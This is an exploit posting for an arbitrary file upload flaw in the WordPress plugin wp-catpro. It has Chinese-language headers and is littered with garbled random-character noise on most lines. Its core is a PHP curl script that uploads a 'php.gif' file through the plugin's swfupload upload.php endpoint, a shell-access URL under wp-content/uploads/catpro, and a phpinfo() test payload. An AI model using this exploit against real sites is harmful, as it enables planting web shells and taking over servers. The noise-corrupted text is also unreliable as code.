Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability' |0 T, o+ C) M$ S
#-----------------------------------------------------------------------; r: U ? t! h7 A
' c$ S$ D1 U5 V( j$ I3 T _
作者 => Zikou-161 X! P7 y( C. ~( }$ ]8 U
邮箱 => zikou16x@gmail.com8 B+ t2 S; C+ U4 z7 T( Y6 F
测试系统 : Windows 7 , Backtrack 5r33 m& b, ]$ i- G$ U- t% d4 i1 A' _5 d
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip- h# N2 h S$ Y3 n
####
* z( ~( H0 o6 U, @" H/ s1 ~ * M" o# w. G# }' H- G4 x+ Q3 |
#=> Exploit 信息:
6 _) @6 \/ _2 _# d9 \, `------------------
2 C7 I& b- c" W" b0 y1 i* s7 F4 k& I# 攻击者可以上传 file/shell.php.gif# o. t$ i: K3 D, }
# ("jpg", "gif", "png") // Allowed file extensions
8 |" _0 H0 P1 S! {: L# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
) @# h t* Y* f( L+ K" L# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format); f- s+ C4 R6 q; }3 o, ^8 U; U
------------------6 w; t5 W# x" ?% F1 n; L1 N
% r8 G K: x+ `9 E/ {6 A7 k9 F! k#=> Exploit
9 n8 m5 e& J- ]* l7 n: u-----------
+ E/ Y% @2 c4 J<?php
4 A; K/ _' [) E% n
; @2 v. I" Y7 s" P$uploadfile="zik.php.gif";5 X9 P+ R) _# e2 _* q
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");! n% T2 d% g. o! J: z* u3 H
curl_setopt($ch, CURLOPT_POST, true);: c0 b1 b8 W# n* l" m8 J
curl_setopt($ch, CURLOPT_POSTFIELDS,
7 m6 B& R" H% q% l* Garray('Filedata'=>"@$uploadfile",
' c; u7 U; D+ Z'folder'=>'/wp-content/uploads/catpro/'));- {' ^6 U/ X J; `3 @8 C
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ t: Q: o: @4 i6 ]5 N$postResult = curl_exec($ch);
+ }3 r4 q0 e$ U) J5 E* Vcurl_close($ch);
$ Z8 i2 q* o$ z* v% z) o; w % M* |& ^0 L8 d( r$ [
print "$postResult";
% b) F* X( L. f# D' d8 S ; _. \5 V% v2 B# H. j4 f/ x9 W6 ^
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
% b7 ~# N5 q! ?) p4 I# L ?>
, s2 N& W! |# w6 n7 x y0 T<?php
) k3 C6 I5 ^) z( yphpinfo();
' g) v! _+ J5 L?> |